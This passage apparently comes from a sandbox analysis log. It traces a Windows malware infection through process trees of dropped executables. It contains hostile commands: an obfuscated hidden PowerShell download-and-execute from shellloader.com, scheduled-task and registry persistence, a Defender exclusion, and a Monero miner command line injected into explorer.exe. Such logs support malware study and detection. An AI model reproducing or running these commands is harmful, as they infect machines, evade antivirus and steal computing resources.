                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 356
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:364
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 300
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:5280
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 592
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:1716
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 740
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:4456
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 776
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:6680
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4188 -s 700
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:7076
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:4692
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\3002.exe"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:4264
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\3002.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:5740
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:5140
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                  PID:5236
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:4388
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:6292
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                          schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                          PID:6900
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\services64.exe
                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\services64.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:6580
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:7528
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                PID:7876
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                PID:7604
                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:8468
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11b9d76a96506.exe
                                                                                                                                                                                                                                                                                                          Tue11b9d76a96506.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:4656
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-02RDM.tmp\Tue11b9d76a96506.tmp
                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-02RDM.tmp\Tue11b9d76a96506.tmp" /SL5="$20084,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSC035A114\Tue11b9d76a96506.exe"
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                            PID:856
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-VR2DU.tmp\46807GHF____.exe
                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-VR2DU.tmp\46807GHF____.exe" /S /UID=burnerch2
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                                                              PID:4176
                                                                                                                                                                                                                                                                                                              • C:\Program Files\Internet Explorer\QAZLNOSKGI\ultramediaburner.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files\Internet Explorer\QAZLNOSKGI\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:5840
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-JMLPI.tmp\ultramediaburner.tmp
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-JMLPI.tmp\ultramediaburner.tmp" /SL5="$40232,281924,62464,C:\Program Files\Internet Explorer\QAZLNOSKGI\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                          PID:6240
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\10-6c87b-cd7-67499-e4cb793b294df\Helishuxeto.exe
                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\10-6c87b-cd7-67499-e4cb793b294df\Helishuxeto.exe"
                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                        PID:2656
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1a-884db-93d-200a0-c0f8a4fcbdfc8\Folarywevae.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1a-884db-93d-200a0-c0f8a4fcbdfc8\Folarywevae.exe"
                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                          PID:5532
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\etdrju2g.4gt\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                              PID:6284
                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\etdrju2g.4gt\GcleanerEU.exe
                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\etdrju2g.4gt\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                  PID:4524
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 648
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:7960
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 536
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8184
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 764
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:5388
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 812
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:4352
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 880
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8060
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 720
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8372
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 1176
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8580
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 1188
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8728
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 1152
                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                                                    PID:8808
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nsfnm2gr.2br\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                • Modifies system certificate store
                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                PID:2628
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\nsfnm2gr.2br\installer.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\nsfnm2gr.2br\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                    PID:7192
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\nsfnm2gr.2br\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\nsfnm2gr.2br\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630849677 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                                                        PID:8208
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uckokrai.n0u\anyname.exe & exit
                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                      PID:4052
                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\uckokrai.n0u\anyname.exe
                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\uckokrai.n0u\anyname.exe
                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\uckokrai.n0u\anyname.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\uckokrai.n0u\anyname.exe" -u
                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                              PID:7808
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\00ocjzqg.syt\gcleaner.exe /mixfive & exit
                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                            PID:6116
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\00ocjzqg.syt\gcleaner.exe
                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\00ocjzqg.syt\gcleaner.exe /mixfive
                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                PID:7792
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 648
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:7876
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 664
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:8184
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 764
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:7340
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 800
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:7328
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 852
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:4312
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 7792 -s 912
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                                                                  PID:4312
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\00ocjzqg.syt\gcleaner.exe" & exit
                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                    PID:8972
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                      taskkill /im "gcleaner.exe" /f
                                                                                                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                      PID:9068
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zooiaydg.4fu\autosubplayer.exe /S & exit
                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                  PID:7244
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:2628
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                                            PID:4028
                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:5444
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-P2B6K.tmp\setup_2.tmp
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-P2B6K.tmp\setup_2.tmp" /SL5="$20210,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                  PID:5596
                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-TP9O2.tmp\postback.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-TP9O2.tmp\postback.exe" ss1
                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                      PID:6128
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                                                                                                                        explorer.exe ss1
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:2712
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                              PID:6396
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6844
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\N2FN0kqoL.exe
                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\N2FN0kqoL.exe"
                                                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6180
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"
                                                                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6840
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
                                                                                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7012
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\
                                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:6032
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                                                            PID:2224
                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\BnatKmzxa.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\BnatKmzxa.exe"
                                                                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:7856
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2712 -s 1492
                                                                                                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                                                                                          PID:8644
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  PID:2140
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                                                  PID:6972
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:7004
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6248
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                      PID:4388
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:6868
